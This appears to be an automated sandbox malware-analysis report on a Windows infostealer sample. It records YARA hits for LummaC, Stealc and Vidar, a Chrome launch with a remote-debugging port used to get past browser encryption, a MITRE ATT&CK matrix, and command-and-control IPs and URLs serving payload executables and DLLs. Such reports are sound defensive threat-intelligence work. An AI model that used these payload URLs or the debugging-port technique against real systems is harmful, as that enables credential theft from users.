Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV

Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe

Directory queried: number of queries: 2002

Source: Yara match	File source: 0000001C.00000003.3060149212.0000000001400000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3049026525.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3021506606.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2970388782.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3004019061.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2925826433.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2901321266.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2962871618.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2870027262.000000000153E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3020923978.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2983449881.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2896656857.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2999302927.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3023021151.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2962447541.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2925233765.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2962953105.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3000401526.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2925954372.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3048641226.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2869996820.0000000001530000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8116, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8116, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000019.00000002.2920183132.00000000002D1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3086404346.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3036822838.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184019997.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3218595100.0000000008780000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2922940562.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3334792447.00000000002D1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2541025259.000000000179E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3286978773.0000000006371000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3288349906.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2879634659.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3084154633.00000000002D1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2539790734.0000000000F71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e88687d065.exe PID: 6648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e88687d065.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e88687d065.exe PID: 5124, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0f2c5625b4.exe PID: 8116, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0CD0 sqlite3_bind_zeroblob,	0_2_6CCD0CD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0C40 sqlite3_bind_zeroblob,	0_2_6CCD0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0D60 sqlite3_bind_parameter_name,	0_2_6CCD0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF8EA0 sqlite3_clear_bindings,	0_2_6CBF8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CCD0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF6410 bind,WSAGetLastError,	0_2_6CBF6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF60B0 listen,WSAGetLastError,	0_2_6CBF60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFC030 sqlite3_bind_parameter_count,	0_2_6CBFC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF6070 PR_Listen,	0_2_6CBF6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CBFC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB822D0 sqlite3_bind_blob,	0_2_6CB822D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF63C0 PR_Bind,	0_2_6CBF63C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	21 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	41 Data from Local System	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	112 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	971 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	461 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	461 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	112 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	34%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/h1	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exe0cN	100%	Avira URL Cloud	phishing
http://185.215.113.2063	0%	Avira URL Cloud	safe
https://frogmen-smell.sbs/apicu	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phps1	100%	Avira URL Cloud	malware
http://185.215.113.206/UUC:	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/1w	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllw	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phptG	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpY	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php001	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/r	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exera	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpm	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php02	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/4	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe5	100%	Avira URL Cloud	phishing
https://frogmen-smell.sbs/77	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpz	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
frogmen-smell.sbs	172.67.174.133	true	false	high
plus.l.google.com	142.250.184.238	true	false	high
play.google.com	142.250.186.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.122	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	172.217.18.4	true	false	high
googlehosted.l.googleusercontent.com	216.58.206.33	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731517714822&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://c.msn.com/c.gif?rnd=1731517712827&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=db7b6e0258744201a330fb48c2848d25&activityId=db7b6e0258744201a330fb48c2848d25&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://c.msn.com/c.gif?rnd=1731517712827&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=db7b6e0258744201a330fb48c2848d25&activityId=db7b6e0258744201a330fb48c2848d25&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D8E4A8225B6E42EF8B1C08DAA22D784F&MUID=28116A1F6C666513052C7F296D6E64D8	false	high
https://sb.scorecardresearch.com/b?rn=1731517712828&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28116A1F6C666513052C7F296D6E64D8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
https://sb.scorecardresearch.com/b2?rn=1731517712828&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28116A1F6C666513052C7F296D6E64D8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731517712826&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
300snails.sbs	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731517715819&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.16/steam/random.exe	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731517715509&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2898474821.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897332579.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	false		high
http://185.215.113.16/off/def.exe0cN	0f2c5625b4.exe, 00000018.00000002.3229335017.00000000012FB000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/h1	0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2898474821.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897332579.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	false		high
http://185.215.113.206/UUC:	0f2c5625b4.exe, 0000001C.00000003.3245279935.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/ws	e88687d065.exe, 00000019.00000002.2922940562.0000000001136000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 0000001F.00000002.3086404346.0000000001145000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.9.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.9.dr	false		high
https://frogmen-smell.sbs/1w	0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000134F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	manifest.json0.8.dr	false		high
https://www.youtube.com	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.9.dr	false		high
https://www.instagram.com	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
http://185.215.113.2063	0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i.y.qq.com/n2/m/index.html	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://www.deezer.com/	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://web.telegram.org/	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
